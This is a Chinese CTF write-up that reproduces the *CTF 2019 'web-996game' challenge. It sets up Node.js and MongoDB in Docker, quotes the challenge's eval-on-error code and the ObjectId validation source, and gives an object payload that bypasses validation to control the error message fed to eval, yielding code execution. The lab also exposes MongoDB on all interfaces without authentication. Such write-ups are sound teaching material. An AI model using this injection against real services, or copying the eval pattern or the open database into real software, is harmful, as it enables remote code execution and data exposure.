前言
上个周末打的 *CTF,密码实在是复现不动了,只能来搞搞 Web 这个样子…
虽然 Web 题出的不算太好,不过还是能学到东西的,值得复现一波。
根据题目的环境,先自己搭一个 nodejs + mongodb 来玩玩。
环境搭建
老样子的 Docker,经过国赛的出题之后我暂时抛弃了 Ubuntu XD,现在我用的是 Alpine 的镜像:
docker pull node:12-alpine
然后:
docker run -id --name mongo -p 32770:27017 node:alpine-12
docker exec -it mongo sh
接着把 mongodb 装上:
apk update
apk add mongodb
现在运行 mongod 启动 mongodb,会得到报错:
exception in initAndListen: NonExistentPath: Data directory /data/db not found., terminating
所以先把目录建好:
mkdir -p /data/db
然后运行:
mongod &
或者 Ctrl + z 然后 bg 运行,也可以加上 nohup 把日志重定向到文件里,此时即可打开 mongodb 的 shell:
/ # mongo
MongoDB shell version v4.0.5
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
2019-05-05T04:28:52.574+0000 I NETWORK [listener] connection accepted from 127.0.0.1:58228 #1 (1 connection now open)
2019-05-05T04:28:52.575+0000 I NETWORK [conn1] received client metadata from 127.0.0.1:58228 conn1: { application: { name: "MongoDB Shell" }, driver: { name: "MongoDB Internal Client", version: "4.0.5" }, os: { type: "Linux", name: "NAME="Alpine Linux"", architecture: "x86_64", version: "Kernel 4.4.0-91-generic" } }
Implicit session: session { "id" : UUID("b4340836-bd10-4434-ad95-1698a36e2cac") }
MongoDB server version: 4.0.5
...
>
mongodb shell 的官方手册看这里:https://docs.mongodb.com/manual/mongo/
然后我们就按照题目漏洞点那样建个 players 数据库:
> use players
switched to db players
> db.players.insertOne( {username: 'Twings'} )
2019-05-05T04:43:54.884+0000 I STORAGE [conn2] createCollection: players.players with generated UUID: 72b73c04-59cd-49ee-bdb7-2914c7ffdcb9
{
"acknowledged" : true,
"insertedId" : ObjectId("5cce6a0ae051d04aaa654a18")
}
> db.players.find()
{ "_id" : ObjectId("5cce6a0ae051d04aaa654a18"), "username" : "Twings" }
>
然后开放 mongodb 远程连接,因为找不到配置文件,所以我查看了 mongod 的选项,然后运行 mongod –bind_ip_all 启动 mongodb,可以看到现在已经可以远程访问了:
/etc/conf.d # netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:27017 0.0.0.0:* LISTEN 358/mongod
接下来我们写一个简易的 nodejs 服务 server.js(npm 把依赖装好):
const ObjectId = require('mongodb').ObjectID;
const express = require('express');
app = express();
app.get("/", (req, res) => {
var id = JSON.parse(req.query.id); # 因为题目中id可以为对象,所以这里使用JSON来传递对象
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://0.0.0.0:32770/";
MongoClient.connect(url, { useNewUrlParser: true }, function(err, db) {
if (err) {
res.send(err);
}else {
var dbo = db.db("players");
var whereStr = {"_id": new ObjectId(id)};
dbo.collection("players").find(whereStr).toArray(function(err, result) {
if(err) {
res.send(err);
}else {
res.send(result);
db.close();
}
});
}
});
})
app.listen(3000, () => console.log(`App listening on port 3000!`));
运行 server.js,访问 http://localhost:3000/?id=%225cce6a0ae051d04aaa654a18%22 即可看到成功查询:
[{"_id":"5cce6a0ae051d04aaa654a18","username":"Twings"}]
题目分析
题目里有一句很明显的 eval 代码动态执行:
GameServer.loadPlayer = function(socket,id){
GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){
if(err) {
if(!doc) {
eval(err.message.split(':').pop()); # 很奇怪的处理语句
}
throw err;
}
if(!doc) {
return;
}
var player = new Player();
var mongoID = doc._id.toString();
player.setIDs(mongoID,socket.id);
player.getDataFromDb(doc);
GameServer.finalizePlayer(socket,player);
});
};
所以我们的思路就是想办法控制报错信息,根据提示:
db.a.find({"b":{"$gt":1,"c":"d"}})
我们在 mongodb shell 试一试:
> db.players.findOne({_id: {"$gt":1,"c":"d"}})
2019-05-05T05:24:18.297+0000 E QUERY [js] Error: error: {
"ok" : 0,
"errmsg" : "unknown operator: c",
"code" : 2,
"codeName" : "BadValue"
} :
_getErrorWithCode@src/mongo/shell/utils.js:25:13
DBCommandCursor@src/mongo/shell/query.js:708:1
DBQuery.prototype._exec@src/mongo/shell/query.js:113:28
DBQuery.prototype.hasNext@src/mongo/shell/query.js:288:5
DBCollection.prototype.findOne@src/mongo/shell/collection.js:260:10
@(shell):1:1
只要我们能控制 id,就可以控制 err.message.split(‘:’).pop()。然后我们就需要审计 new ObjectId(id),看看如何控制 id,下断点把调试开起来,为了控制报错,我们要传入的数据类型为对象,我们先用 {“$gt”:”1”,”c”:”d”} 试一试:
var ObjectID = function ObjectID(id) {
// Duck-typing to support ObjectId from different npm packages
if (id instanceof ObjectID) return id;
if (!(this instanceof ObjectID)) return new ObjectID(id);
this._bsontype = 'ObjectID';
// The most common usecase (blank id, new objectId instance)
if (id == null || typeof id === 'number') {
// Generate a new id
this.id = this.generate(id);
// If we are caching the hex string
if (ObjectID.cacheHexString) this.__id = this.toString('hex');
// Return the object
return;
}
// Check if the passed in id is valid
var valid = ObjectID.isValid(id);
// Throw an error if it's not a valid setup
if (!valid && id != null) {
throw new Error(
'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters'
);
} else if (valid && typeof id === 'string' && id.length === 24 && hasBufferType) {
return new ObjectID(utils.toBuffer(id, 'hex'));
} else if (valid && typeof id === 'string' && id.length === 24) {
return ObjectID.createFromHexString(id);
} else if (id != null && id.length === 12) {
// assume 12 byte string
this.id = id;
} else if (id != null && id.toHexString) {
// Duck-typing to support ObjectId from different npm packages
return id;
} else {
throw new Error(
'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters'
);
}
if (ObjectID.cacheHexString) this.__id = this.toString('hex');
};
首先要绕过的是 ObjectID.isValid:
ObjectID.isValid = function isValid(id) {
if (id == null) return false;
if (typeof id === 'number') {
return true;
}
if (typeof id === 'string') {
return id.length === 12 || (id.length === 24 && checkForHexRegExp.test(id));
}
if (id instanceof ObjectID) {
return true;
}
if (id instanceof _Buffer) {
return true;
}
// Duck-Typing detection of ObjectId like objects
if (id.toHexString) {
return id.id.length === 12 || (id.id.length === 24 && checkForHexRegExp.test(id.id));
}
return false;
};
很简单,只要给我们的对象加上 toHexString 和 id.length 即可轻松绕过,修改 payload 为 {“$gt”:”1”,”c”:”d”,”toHexString”:true,”id”:{“length”:12}},即可看到回显报错可控:
{"ok":0,"errmsg":"unknown operator: c","code":2,"codeName":"BadValue","name":"MongoError"}
之后就是 RCE 跑个 perl 脚本 getflag 了。
参考链接:
https://github.com/sixstars/starctf2019/tree/master/web-996game